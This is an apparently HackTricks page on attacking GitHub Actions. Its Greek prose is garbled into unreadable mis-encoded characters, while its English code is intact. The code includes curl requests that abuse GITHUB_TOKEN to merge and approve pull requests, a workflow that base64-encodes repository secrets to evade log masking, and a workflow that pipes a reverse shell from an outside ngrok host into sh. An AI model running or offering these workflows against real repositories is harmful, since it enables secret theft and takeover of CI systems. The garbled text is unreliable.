Skip to content

Latest commit

History

History
524 lines (359 loc) 路 41.3 KB

File metadata and controls

524 lines (359 loc) 路 41.3 KB

Abusing Github Actions

螠维胃蔚蟿蔚 蟿慰 蠂维魏喂谓纬魏 蟿慰蠀 AWS 伪蟺蠈 蟿慰 渭畏未苇谓 渭苇蠂蟻喂 蟿慰谓 萎蟻蠅伪 渭蔚 蟿慰 htARTE (HackTricks AWS Red Team Expert)!

螁位位慰喂 蟿蟻蠈蟺慰喂 蠀蟺慰蟽蟿萎蟻喂尉畏蟼 蟿慰蠀 HackTricks:

螔伪蟽喂魏苇蟼 螤位畏蟻慰蠁慰蟻委蔚蟼

危蔚 伪蠀蟿萎谓 蟿畏 蟽蔚位委未伪 胃伪 尾蟻蔚委蟿蔚:

  • 螆谓伪 蟽蠉谓慰蠄畏 蠈位蠅谓 蟿蠅谓 蔚蟺喂蟺蟿蠋蟽蔚蠅谓 蔚谓蠈蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蠀 蟺慰蠀 魏伪蟿伪蠁苇蟻谓蔚喂 谓伪 苇蠂蔚喂 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭喂伪 蔚谓苇蟻纬蔚喂伪 蟿慰蠀 Github
  • 螖喂伪蠁慰蟻蔚蟿喂魏慰蠉蟼 蟿蟻蠈蟺慰蠀蟼 纬喂伪 谓伪 伪蟺慰魏蟿萎蟽蔚蟿蔚 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭喂伪 蔚谓苇蟻纬蔚喂伪:
    • 螆蠂慰谓蟿伪蟼 未喂魏伪喂蠋渭伪蟿伪 纬喂伪 蟿畏 未畏渭喂慰蠀蟻纬委伪 蟿畏蟼 蔚谓苇蟻纬蔚喂伪蟼
    • 螝伪蟿维蠂蟻畏蟽畏 蟽蠂蔚蟿喂魏蠋谓 蔚谓蔚蟻纬慰蟺慰喂畏蟿蠋谓 伪喂蟿萎蟽蔚蠅谓 蔚谓蟽蠅渭维蟿蠅蟽畏蟼 (pull request)
    • 螝伪蟿维蠂蟻畏蟽畏 维位位蠅谓 蔚尉蠅蟿蔚蟻喂魏蠋谓 蟿蔚蠂谓喂魏蠋谓 蟺蟻蠈蟽尾伪蟽畏蟼
    • 螘谓伪位位伪纬萎 伪蟺蠈 苇谓伪 萎未畏 蠂蔚喂蟻喂蟽渭苇谓慰 伪蟺慰胃蔚蟿萎蟻喂慰
  • 韦苇位慰蟼, 渭喂伪 蔚谓蠈蟿畏蟿伪 纬喂伪 蟿蔚蠂谓喂魏苇蟼 渭蔚蟿维-蔚魏渭蔚蟿维位位蔚蠀蟽畏蟼 纬喂伪 蟿畏谓 魏伪蟿维蠂蟻畏蟽畏 渭喂伪蟼 蔚谓苇蟻纬蔚喂伪蟼 伪蟺蠈 渭苇蟽伪 (位蠈纬蠅 蟿蠅谓 伪谓伪蠁蔚蟻胃苇谓蟿蠅谓 蔚蟺喂蟺蟿蠋蟽蔚蠅谓)

危蠉谓慰蠄畏 螘蟺喂蟺蟿蠋蟽蔚蠅谓

螕喂伪 渭喂伪 蔚喂蟽伪纬蠅纬萎 蟽蠂蔚蟿喂魏维 渭蔚 蟿喂蟼 螘谓苇蟻纬蔚喂蔚蟼 蟿慰蠀 Github 蔚位苇纬尉蟿蔚 蟿喂蟼 尾伪蟽喂魏苇蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼.

危蔚 蟺蔚蟻委蟺蟿蠅蟽畏 蟺慰蠀 渭蟺慰蟻蔚委蟿蔚 谓伪 蔚魏蟿蔚位苇蟽蔚蟿蔚 伪蠀胃伪委蟻蔚蟿蔚蟼 蔚谓苇蟻纬蔚喂蔚蟼 蟿慰蠀 Github/谓伪 蔚谓蟽蠅渭伪蟿蠋蟽蔚蟿蔚 魏蠋未喂魏伪 蟽蔚 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰, 胃伪 渭蟺慰蟻慰蠉蟽伪蟿蔚 谓伪:

  • 螝位苇蠄蔚蟿蔚 蟿伪 渭蠀蟽蟿喂魏维 伪蟺蠈 伪蠀蟿蠈 蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰/慰蟻纬伪谓喂蟽渭蠈.
  • 螒谓 渭蟺慰蟻蔚委蟿蔚 渭蠈谓慰 谓伪 蔚谓蟽蠅渭伪蟿蠋蟽蔚蟿蔚, 渭蟺慰蟻蔚委蟿蔚 谓伪 魏位苇蠄蔚蟿蔚 慰蟿喂未萎蟺慰蟿蔚 蔚委谓伪喂 萎未畏 蟺伪蟻蠈谓 蟽蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼.
  • 螝伪蟿维蠂蟻畏蟽畏 蟿蠅谓 未喂魏伪喂蠅渭维蟿蠅谓 蟿慰蠀 伪蟺慰胃蔚蟿畏蟻委慰蠀 纬喂伪 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 维位位蔚蟼 蟺位伪蟿蠁蠈蟻渭蔚蟼 蠈蟺蠅蟼 AWS 魏伪喂 GCP.
  • 螘魏蟿苇位蔚蟽畏 魏蠋未喂魏伪 蟽蔚 蟺蟻慰蟽伪蟻渭慰蟽渭苇谓慰蠀蟼 蔚蟻纬伪味慰渭苇谓慰蠀蟼 (蔚维谓 蠂蟻畏蟽喂渭慰蟺慰喂慰蠉谓蟿伪喂 蟺蟻慰蟽伪蟻渭慰蟽渭苇谓慰喂 蔚蟻纬伪味蠈渭蔚谓慰喂) 魏伪喂 蟺蟻慰蟽蟺伪胃萎蟽蟿蔚 谓伪 蔚谓伪位位维尉蔚蟿蔚 伪蟺蠈 蔚魏蔚委.
  • 螒谓蟿喂魏伪蟿维蟽蟿伪蟽畏 魏蠋未喂魏伪 伪蟺慰胃蔚蟿畏蟻委慰蠀.
  • 螒蠀蟿蠈 蔚尉伪蟻蟿维蟿伪喂 伪蟺蠈 蟿伪 未喂魏伪喂蠋渭伪蟿伪 蟿慰蠀 GITHUB_TOKEN (蔚维谓 蠀蟺维蟻蠂慰蠀谓).
  • 螛苇蟿蔚蟿蔚 蟽蔚 魏委谓未蠀谓慰 伪谓伪蟺蟿蠉尉蔚喂蟼 魏伪喂 维位位伪 伪谓蟿喂魏蔚委渭蔚谓伪.
  • 螒谓 慰 魏蠋未喂魏伪蟼 伪谓伪蟺蟿蠉蟽蟽蔚喂 萎 伪蟺慰胃畏魏蔚蠉蔚喂 魏维蟿喂 渭蟺慰蟻蔚委蟿蔚 谓伪 蟿慰 蟿蟻慰蟺慰蟺慰喂萎蟽蔚蟿蔚 魏伪喂 谓伪 伪蟺慰魏蟿萎蟽蔚蟿蔚 蟺蔚蟻伪喂蟿苇蟻蠅 蟺蟻蠈蟽尾伪蟽畏.

GITHUB_TOKEN

螒蠀蟿蠈 蟿慰 "渭蠀蟽蟿喂魏蠈" (蟺蟻慰苇蟻蠂蔚蟿伪喂 伪蟺蠈 ${{ secrets.GITHUB_TOKEN }} 魏伪喂 ${{ github.token }}) 未委谓蔚蟿伪喂 蠈蟿伪谓 慰 未喂伪蠂蔚喂蟻喂蟽蟿萎蟼 蔚谓蔚蟻纬慰蟺慰喂蔚委 伪蠀蟿萎谓 蟿畏谓 蔚蟺喂位慰纬萎:

螒蠀蟿蠈 蟿慰 蟿慰魏苇谓 蔚委谓伪喂 蟿慰 委未喂慰 渭蔚 伪蠀蟿蠈 蟺慰蠀 胃伪 蠂蟻畏蟽喂渭慰蟺慰喂萎蟽蔚喂 渭喂伪 螘蠁伪蟻渭慰纬萎 蟿慰蠀 Github, 苇蟿蟽喂 渭蟺慰蟻蔚委 谓伪 苇蠂蔚喂 蟺蟻蠈蟽尾伪蟽畏 蟽蟿伪 委未喂伪 蟽畏渭蔚委伪: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

{% hint style="warning" %} 韦慰 Github 胃伪 蟺蟻苇蟺蔚喂 谓伪 魏蠀魏位慰蠁慰蟻萎蟽蔚喂 苇谓伪 蟻慰萎 蟺慰蠀 蔚蟺喂蟿蟻苇蟺蔚喂 蟿畏 未喂伪蟽蟿伪蠉蟻蠅蟽畏 伪蟺慰胃蔚蟿畏蟻委蠅谓 蔚谓蟿蠈蟼 蟿慰蠀 GitHub, 苇蟿蟽喂 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 渭蟺慰蟻蔚委 谓伪 苇蠂蔚喂 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 维位位伪 蔚蟽蠅蟿蔚蟻喂魏维 伪蟺慰胃蔚蟿萎蟻喂伪 蠂蟻畏蟽喂渭慰蟺慰喂蠋谓蟿伪蟼 蟿慰 GITHUB_TOKEN. {% endhint %}

螠蟺慰蟻蔚委蟿蔚 谓伪 未蔚委蟿蔚 蟿伪 蟺喂胃伪谓维 未喂魏伪喂蠋渭伪蟿伪 伪蠀蟿慰蠉 蟿慰蠀 蟿慰魏苇谓 蟽蟿慰: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

危畏渭蔚喂蠋蟽蟿蔚 蠈蟿喂 蟿慰 蟿慰魏苇谓 位萎纬蔚喂 渭蔚蟿维 蟿畏谓 慰位慰魏位萎蟻蠅蟽畏 蟿畏蟼 蔚蟻纬伪蟽委伪蟼.
螒蠀蟿维 蟿伪 蟿慰魏苇谓 渭慰喂维味慰蠀谓 渭蔚 伪蠀蟿蠈: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

螝维蟺慰喂伪 蔚谓未喂伪蠁苇蟻慰谓蟿伪 蟺蟻维纬渭伪蟿伪 蟺慰蠀 渭蟺慰蟻蔚委蟿蔚 谓伪 魏维谓蔚蟿蔚 渭蔚 伪蠀蟿蠈 蟿慰 蟿慰魏苇谓:

{% tabs %} {% tab title="危蠀纬蠂蠋谓蔚蠀蟽畏 PR" %}

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

{% endtab %}

{% tab title="螆纬魏蟻喂蟽畏 PR" %}

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

{% endtab %}

{% tab title="螖畏渭喂慰蠀蟻纬委伪 PR" %}

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

{% endtab %} {% endtabs %}

{% hint style="danger" %} 危畏渭蔚喂蠋蟽蟿蔚 蠈蟿喂 蟽蔚 蟺慰位位苇蟼 蟺蔚蟻喂蟺蟿蠋蟽蔚喂蟼 渭蟺慰蟻蔚委蟿蔚 谓伪 尾蟻蔚委蟿蔚 tokens 蠂蟻萎蟽蟿畏 蟿慰蠀 Github 渭苇蟽伪 蟽蟿伪 蟺蔚蟻喂尾维位位慰谓蟿伪 蟿蠅谓 Github Actions 萎 蟽蟿伪 渭蠀蟽蟿喂魏维. 螒蠀蟿维 蟿伪 tokens 渭蟺慰蟻蔚委 谓伪 蟽伪蟼 未蠋蟽慰蠀谓 蟺蔚蟻喂蟽蟽蠈蟿蔚蟻伪 蟺蟻慰谓蠈渭喂伪 蟽蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰 魏伪喂 蟿慰谓 慰蟻纬伪谓喂蟽渭蠈. {% endhint %}

螞委蟽蟿伪 渭蠀蟽蟿喂魏蠋谓 蟽蟿畏谓 苇尉慰未慰 蟿蠅谓 Github Actions

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

螞萎蠄畏 伪谓蟿委蟽蟿蟻慰蠁慰蠀 魏蔚位蠉蠁慰蠀蟼 渭蔚 渭蠀蟽蟿喂魏维

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

螘委谓伪喂 未蠀谓伪蟿蠈谓 谓伪 蔚位苇纬尉蔚蟿蔚 蟿伪 未喂魏伪喂蠋渭伪蟿伪 蟺慰蠀 未委谓慰谓蟿伪喂 蟽蔚 苇谓伪 Github Token 蟽蔚 伪蟺慰胃蔚蟿萎蟻喂伪 维位位蠅谓 蠂蟻畏蟽蟿蠋谓 蔚位苇纬蠂慰谓蟿伪蟼 蟿伪 logs 蟿蠅谓 蔚谓蔚蟻纬蔚喂蠋谓:

螘蟺喂蟿蟻蔚蟺蠈渭蔚谓畏 螘魏蟿苇位蔚蟽畏

{% hint style="info" %} 螒蠀蟿蠈 胃伪 萎蟿伪谓 慰 蔚蠀魏慰位蠈蟿蔚蟻慰蟼 蟿蟻蠈蟺慰蟼 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚蟿蔚 蟿喂蟼 蔚谓苇蟻纬蔚喂蔚蟼 蟿慰蠀 Github, 魏伪胃蠋蟼 蟽蔚 伪蠀蟿萎谓 蟿畏谓 蟺蔚蟻委蟺蟿蠅蟽畏 蠀蟺慰胃苇蟿慰蠀渭蔚 蠈蟿喂 苇蠂蔚蟿蔚 蟺蟻蠈蟽尾伪蟽畏 纬喂伪 未畏渭喂慰蠀蟻纬委伪 蔚谓蠈蟼 谓苇慰蠀 伪蟺慰胃蔚蟿畏蟻委慰蠀 蟽蟿慰谓 慰蟻纬伪谓喂蟽渭蠈, 萎 苇蠂蔚蟿蔚 未喂魏伪喂蠋渭伪蟿伪 蔚纬纬蟻伪蠁萎蟼 蟽蔚 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰.

螒谓 尾蟻委蟽魏蔚蟽蟿蔚 蟽蔚 伪蠀蟿蠈 蟿慰 蟽蔚谓维蟻喂慰, 渭蟺慰蟻蔚委蟿蔚 伪蟺位维 谓伪 蔚位苇纬尉蔚蟿蔚 蟿喂蟼 蟿蔚蠂谓喂魏苇蟼 渭蔚蟿维-蔚魏渭蔚蟿维位位蔚蠀蟽畏蟼. {% endhint %}

螘魏蟿苇位蔚蟽畏 伪蟺蠈 螖畏渭喂慰蠀蟻纬委伪 螒蟺慰胃蔚蟿畏蟻委慰蠀

危蟿畏谓 蟺蔚蟻委蟺蟿蠅蟽畏 蟺慰蠀 蟿伪 渭苇位畏 蔚谓蠈蟼 慰蟻纬伪谓喂蟽渭慰蠉 渭蟺慰蟻慰蠉谓 谓伪 未畏渭喂慰蠀蟻纬萎蟽慰蠀谓 谓苇伪 伪蟺慰胃蔚蟿萎蟻喂伪 魏伪喂 渭蟺慰蟻蔚委蟿蔚 谓伪 蔚魏蟿蔚位苇蟽蔚蟿蔚 蔚谓苇蟻纬蔚喂蔚蟼 蟽蟿慰 Github, 渭蟺慰蟻蔚委蟿蔚 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚蟿蔚 苇谓伪 谓苇慰 伪蟺慰胃蔚蟿萎蟻喂慰 魏伪喂 谓伪 魏位苇蠄蔚蟿蔚 蟿伪 渭蠀蟽蟿喂魏维 蟺慰蠀 苇蠂慰蠀谓 慰蟻喂蟽蟿蔚委 蟽蔚 蔚蟺委蟺蔚未慰 慰蟻纬伪谓喂蟽渭慰蠉.

螘魏蟿苇位蔚蟽畏 伪蟺蠈 螡苇慰 Branch

螒谓 渭蟺慰蟻蔚委蟿蔚 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚蟿蔚 苇谓伪 谓苇慰 branch 蟽蔚 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 蟺慰蠀 萎未畏 蟺蔚蟻喂苇蠂蔚喂 渭喂伪 蔚谓苇蟻纬蔚喂伪 蟿慰蠀 Github Action 蟺慰蠀 苇蠂蔚喂 未喂伪渭慰蟻蠁蠅胃蔚委, 渭蟺慰蟻蔚委蟿蔚 谓伪 蟿畏谓 蟿蟻慰蟺慰蟺慰喂萎蟽蔚蟿蔚, 谓伪 伪谓蔚尾维蟽蔚蟿蔚 蟿慰 蟺蔚蟻喂蔚蠂蠈渭蔚谓慰, 魏伪喂 蟽蟿畏 蟽蠀谓苇蠂蔚喂伪 谓伪 蔚魏蟿蔚位苇蟽蔚蟿蔚 伪蠀蟿萎谓 蟿畏谓 蔚谓苇蟻纬蔚喂伪 伪蟺蠈 蟿慰 谓苇慰 branch. 螠蔚 伪蠀蟿蠈谓 蟿慰谓 蟿蟻蠈蟺慰 渭蟺慰蟻蔚委蟿蔚 谓伪 蔚尉伪纬维纬蔚蟿蔚 渭蠀蟽蟿喂魏维 伪蟺蠈 蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰 魏伪喂 蟿慰谓 慰蟻纬伪谓喂蟽渭蠈 (伪位位维 蟺蟻苇蟺蔚喂 谓伪 纬谓蠅蟻委味蔚蟿蔚 蟺蠋蟼 慰谓慰渭维味慰谓蟿伪喂).

螠蟺慰蟻蔚委蟿蔚 谓伪 魏维谓蔚蟿蔚 蟿畏谓 蟿蟻慰蟺慰蟺慰喂畏渭苇谓畏 蔚谓苇蟻纬蔚喂伪 蔚魏蟿蔚位苇蟽喂渭畏 蠂蔚喂蟻慰魏委谓畏蟿伪, 蠈蟿伪谓 未畏渭喂慰蠀蟻纬蔚委蟿伪喂 渭喂伪 螒委蟿畏蟽畏 危蠉纬蠂蟻慰谓畏蟼 螘谓畏渭苇蟻蠅蟽畏蟼 (PR) 萎 蠈蟿伪谓 魏维蟺慰喂慰蟼 魏蠋未喂魏伪蟼 蟺喂苇味蔚蟿伪喂 (伪谓维位慰纬伪 渭蔚 蟿慰 蟺蠈蟽慰 胃慰蟻蠀尾蠋未蔚蟼 胃苇位蔚蟿蔚 谓伪 蔚委蟽蟿蔚):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

螘魏蟿苇位蔚蟽畏 Forked

{% hint style="info" %} 违蟺维蟻蠂慰蠀谓 未喂伪蠁慰蟻蔚蟿喂魏维 triggers 蟺慰蠀 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 蔚蟺喂蟿蟻苇蠄慰蠀谓 蟽蔚 苇谓伪谓 蔚蟺喂蟿喂胃苇渭蔚谓慰 谓伪 蔚魏蟿蔚位苇蟽蔚喂 渭喂伪 螖蟻维蟽畏 Github 伪蟺蠈 苇谓伪 维位位慰 伪蟺慰胃蔚蟿萎蟻喂慰. 螘维谓 伪蠀蟿苇蟼 慰喂 蔚谓蔚蟻纬慰蟺慰喂萎蟽喂渭蔚蟼 未蟻维蟽蔚喂蟼 蔚委谓伪喂 魏伪魏维 未喂伪渭慰蟻蠁蠅渭苇谓蔚蟼, 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 蟿喂蟼 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂. {% endhint %}

pull_request

韦慰 trigger 蟿慰蠀 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 pull_request 胃伪 蔚魏蟿蔚位苇蟽蔚喂 蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼 魏维胃蔚 蠁慰蟻维 蟺慰蠀 位伪渭尾维谓蔚蟿伪喂 苇谓伪 伪委蟿畏渭伪 蔚谓蟽蠅渭维蟿蠅蟽畏蟼 渭蔚 魏维蟺慰喂蔚蟼 蔚尉伪喂蟻苇蟽蔚喂蟼: 伪蟺蠈 蟺蟻慰蔚蟺喂位慰纬萎, 伪谓 蔚委谓伪喂 畏 蟺蟻蠋蟿畏 蠁慰蟻维 蟺慰蠀 蟽蠀谓蔚蟻纬维味蔚蟽蟿蔚, 魏维蟺慰喂慰蟼 未喂伪蠂蔚喂蟻喂蟽蟿萎蟼 胃伪 蟺蟻苇蟺蔚喂 谓伪 蔚纬魏蟻委谓蔚喂 蟿畏 蔚魏蟿苇位蔚蟽畏 蟿畏蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼:

{% hint style="info" %} 螝伪胃蠋蟼 慰 蟺蟻慰蔚蟺喂位蔚纬渭苇谓慰蟼 蟺蔚蟻喂慰蟻喂蟽渭蠈蟼 蔚委谓伪喂 纬喂伪 蟽蠀谓蔚喂蟽蠁苇蟻慰谓蟿蔚蟼 蟺蟻蠋蟿畏 蠁慰蟻维, 胃伪 渭蟺慰蟻慰蠉蟽伪蟿蔚 谓伪 蟽蠀谓蔚喂蟽蠁苇蟻蔚蟿蔚 未喂慰蟻胃蠋谓慰谓蟿伪蟼 苇谓伪 苇纬魏蠀蟻慰 蟽蠁维位渭伪/蟿蠀蟺慰纬蟻伪蠁喂魏蠈 位维胃慰蟼 魏伪喂 蟽蟿畏 蟽蠀谓苇蠂蔚喂伪 谓伪 蟽蟿蔚委位蔚蟿蔚 维位位伪 PRs 纬喂伪 谓伪 魏伪蟿伪蠂蟻伪蟽蟿蔚委蟿蔚 蟿伪 谓苇伪 蟽伪蟼 蟺蟻慰谓蠈渭喂伪 pull_request.

韦慰 未慰魏委渭伪蟽伪 魏伪喂 未蔚谓 位蔚喂蟿慰蠀蟻纬蔚委: 螠喂伪 维位位畏 蔚蟺喂位慰纬萎 胃伪 萎蟿伪谓 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚蟿蔚 苇谓伪 位慰纬伪蟻喂伪蟽渭蠈 渭蔚 蟿慰 蠈谓慰渭伪 魏维蟺慰喂慰蠀 蟺慰蠀 蟽蠀谓蔚喂蟽蠁苇蟻蔚喂 蟽蟿慰 苇蟻纬慰 魏伪喂 未喂苇纬蟻伪蠄蔚 蟿慰谓 位慰纬伪蟻喂伪蟽渭蠈 蟿慰蠀. {% endhint %}

螘蟺喂蟺位苇慰谓, 伪蟺蠈 蟺蟻慰蔚蟺喂位慰纬萎 伪蟺慰蟿蟻苇蟺蔚喂 蟿喂蟼 维未蔚喂蔚蟼 蔚纬纬蟻伪蠁萎蟼 魏伪喂 蟿畏谓 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维 蟽蟿慰谓 蟽蟿蠈蠂慰 伪蟺慰胃蔚蟿萎蟻喂慰, 蠈蟺蠅蟼 伪谓伪蠁苇蟻蔚蟿伪喂 蟽蟿伪 苇纬纬蟻伪蠁伪 :

螠蔚 蔚尉伪委蟻蔚蟽畏 蟿慰蠀 GITHUB_TOKEN, 蟿伪 渭蠀蟽蟿喂魏维 未蔚谓 蟺蔚蟻谓慰蠉谓 蟽蟿慰谓 蔚魏蟿蔚位畏蟿萎 蠈蟿伪谓 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蔚谓蔚蟻纬慰蟺慰喂蔚委蟿伪喂 伪蟺蠈 苇谓伪 未喂伪魏位伪未蠅渭苇谓慰 伪蟺慰胃蔚蟿萎蟻喂慰. 韦慰 GITHUB_TOKEN 苇蠂蔚喂 未喂魏伪喂蠋渭伪蟿伪 渭蠈谓慰 纬喂伪 伪谓维纬谓蠅蟽畏 蟽蔚 伪喂蟿萎蟽蔚喂蟼 蔚谓蟽蠅渭维蟿蠅蟽畏蟼 伪蟺蠈 未喂伪魏位伪未蠅渭苇谓伪 伪蟺慰胃蔚蟿萎蟻喂伪.

螆谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 蟿蟻慰蟺慰蟺慰喂萎蟽蔚喂 蟿慰谓 慰蟻喂蟽渭蠈 蟿畏蟼 螖蟻维蟽畏蟼 蟿慰蠀 Github 纬喂伪 谓伪 蔚魏蟿蔚位苇蟽蔚喂 伪蠀胃伪委蟻蔚蟿伪 蟺蟻维纬渭伪蟿伪 魏伪喂 谓伪 蟺蟻慰蟽胃苇蟽蔚喂 伪蠀胃伪委蟻蔚蟿蔚蟼 蔚谓苇蟻纬蔚喂蔚蟼. 惟蟽蟿蠈蟽慰, 未蔚谓 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 魏位苇蠄蔚喂 渭蠀蟽蟿喂魏维 萎 谓伪 伪谓蟿喂魏伪蟿伪蟽蟿萎蟽蔚喂 蟿慰 伪蟺慰胃蔚蟿萎蟻喂慰 位蠈纬蠅 蟿蠅谓 伪谓伪蠁蔚蟻胃苇谓蟿蠅谓 蟺蔚蟻喂慰蟻喂蟽渭蠋谓.

{% hint style="danger" %} 螡伪喂, 伪谓 慰 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 伪位位维尉蔚喂 蟽蟿慰 PR 蟿畏 未蟻维蟽畏 蟿慰蠀 github 蟺慰蠀 胃伪 蔚谓蔚蟻纬慰蟺慰喂畏胃蔚委, 畏 螖蟻维蟽畏 蟿慰蠀 Github 蟺慰蠀 胃伪 蠂蟻畏蟽喂渭慰蟺慰喂畏胃蔚委 胃伪 蔚委谓伪喂 伪蠀蟿萎 蟺慰蠀 未畏渭喂慰蠉蟻纬畏蟽蔚 慰 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 魏伪喂 蠈蠂喂 伪蠀蟿萎 伪蟺蠈 蟿慰 伪蟻蠂喂魏蠈 伪蟺慰胃蔚蟿萎蟻喂慰! {% endhint %}

螝伪胃蠋蟼 慰 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 蔚位苇纬蠂蔚喂 蔚蟺委蟽畏蟼 蟿慰谓 魏蠋未喂魏伪 蟺慰蠀 蔚魏蟿蔚位蔚委蟿伪喂, 伪魏蠈渭畏 魏喂 伪谓 未蔚谓 蠀蟺维蟻蠂慰蠀谓 渭蠀蟽蟿喂魏维 萎 维未蔚喂蔚蟼 蔚纬纬蟻伪蠁萎蟼 蟽蟿慰 GITHUB_TOKEN, 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚, 纬喂伪 蟺伪蟻维未蔚喂纬渭伪, 谓伪 伪谓蔚尾维蟽蔚喂 魏伪魏蠈尾慰蠀位伪 伪蟻蠂蔚委伪.

pull_request_target

韦慰 trigger 蟿畏蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 pull_request_target 苇蠂蔚喂 维未蔚喂蔚蟼 蔚纬纬蟻伪蠁萎蟼 蟽蟿慰谓 蟽蟿蠈蠂慰 伪蟺慰胃蔚蟿萎蟻喂慰 魏伪喂 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维 (魏伪喂 未蔚谓 味畏蟿维 维未蔚喂伪).

危畏渭蔚喂蠋蟽蟿蔚 蠈蟿喂 蟿慰 trigger 蟿畏蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 pull_request_target 蟿蟻苇蠂蔚喂 蟽蟿慰 尾伪蟽喂魏蠈 蟺位伪委蟽喂慰 魏伪喂 蠈蠂喂 蟽蟿慰 蟺位伪委蟽喂慰 蟺慰蠀 未委谓蔚蟿伪喂 伪蟺蠈 蟿慰 PR (纬喂伪 谓伪 渭畏谓 蔚魏蟿蔚位蔚委 渭畏 伪尉喂蠈蟺喂蟽蟿慰 魏蠋未喂魏伪). 螕喂伪 蟺蔚蟻喂蟽蟽蠈蟿蔚蟻蔚蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼 蟽蠂蔚蟿喂魏维 渭蔚 蟿慰 pull_request_target 蔚位苇纬尉蟿蔚 蟿伪 苇纬纬蟻伪蠁伪.
螘蟺喂蟺位苇慰谓, 纬喂伪 蟺蔚蟻喂蟽蟽蠈蟿蔚蟻蔚蟼 蟺位畏蟻慰蠁慰蟻委蔚蟼 蟽蠂蔚蟿喂魏维 渭蔚 伪蠀蟿萎谓 蟿畏 蟽蠀纬魏蔚魏蟻喂渭苇谓伪 蔚蟺喂魏委谓未蠀谓畏 蠂蟻萎蟽畏, 蔚位苇纬尉蟿蔚 伪蠀蟿萎谓 蟿畏谓 伪谓维蟻蟿畏蟽畏 蟽蟿慰 blog 蟿慰蠀 github.

螠蟺慰蟻蔚委 谓伪 蠁伪委谓蔚蟿伪喂 蠈蟿喂 蔚蟺蔚喂未萎 畏 蔚魏蟿蔚位慰蠉渭蔚谓畏 蟻慰萎 蔚委谓伪喂 伪蠀蟿萎 蟺慰蠀 慰蟻委味蔚蟿伪喂 蟽蟿慰 尾伪蟽喂魏蠈 魏伪喂 蠈蠂喂 蟽蟿慰 PR, 蔚委谓伪喂 伪蟽蠁伪位苇蟼 谓伪 蠂蟻畏蟽喂渭慰蟺慰喂蔚委蟿蔚 蟿慰 pull_request_target, 伪位位维 蠀蟺维蟻蠂慰蠀谓 渭蔚蟻喂魏苇蟼 蟺蔚蟻喂蟺蟿蠋蟽蔚喂蟼 蠈蟺慰蠀 未蔚谓 蔚委谓伪喂.

